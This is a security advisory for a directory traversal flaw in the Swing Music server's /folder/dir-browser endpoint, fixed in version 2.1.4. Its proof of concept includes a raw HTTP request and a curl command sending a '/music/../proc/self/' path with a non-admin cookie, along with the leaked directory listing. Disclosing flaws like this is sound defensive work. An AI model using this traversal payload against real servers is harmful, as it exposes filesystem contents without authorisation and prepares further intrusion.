PYSEC-2026-1947

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/swingmusic/PYSEC-2026-1947.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-1947
Aliases
Published
2026-07-07T16:03:19.235266Z
Modified
2026-07-07T17:48:12.605060447Z
Severity
  • 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user
Details

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks: - No authorization requirement: Any authenticated user can access the endpoint - Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:

req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')

PoC

  1. Create a non-admin user
  2. Authenticate as a non-admin user
  3. Send the following request:
    POST /folder/dir-browser HTTP/1.1
    Host: IP:1970
    Content-Type: application/json
    Cookie: access_token_cookie=non-admin-access-token
    Connection: keep-alive
    
    {"folder":"/music/../proc/self/", "tracks_only":false}
    
    curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
        --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
        $'http://IP:1970/folder/dir-browser'
    
  4. The response will list directories from /proc/self instead of restricting to user-accessible paths:
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 466
    Vary: Accept-Encoding
    Connection: Keep-Alive
    
    {"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}
    

Impact

Information Disclosure: - Server filesystem structure and layout - Configuration file locations and names - User account names from directory listings - Software versions and installed packages - Log file locations and system paths

Additional Risks: - Preparation for further attacks (LFI, RCE) - Bypass of access control mechanisms - Exposure of sensitive directory structures

References

Affected packages

PyPI / swingmusic

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

2.*
2.0.11
2.1.0
2.1.1
2.1.2
2.1.3

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/swingmusic/PYSEC-2026-1947.yaml"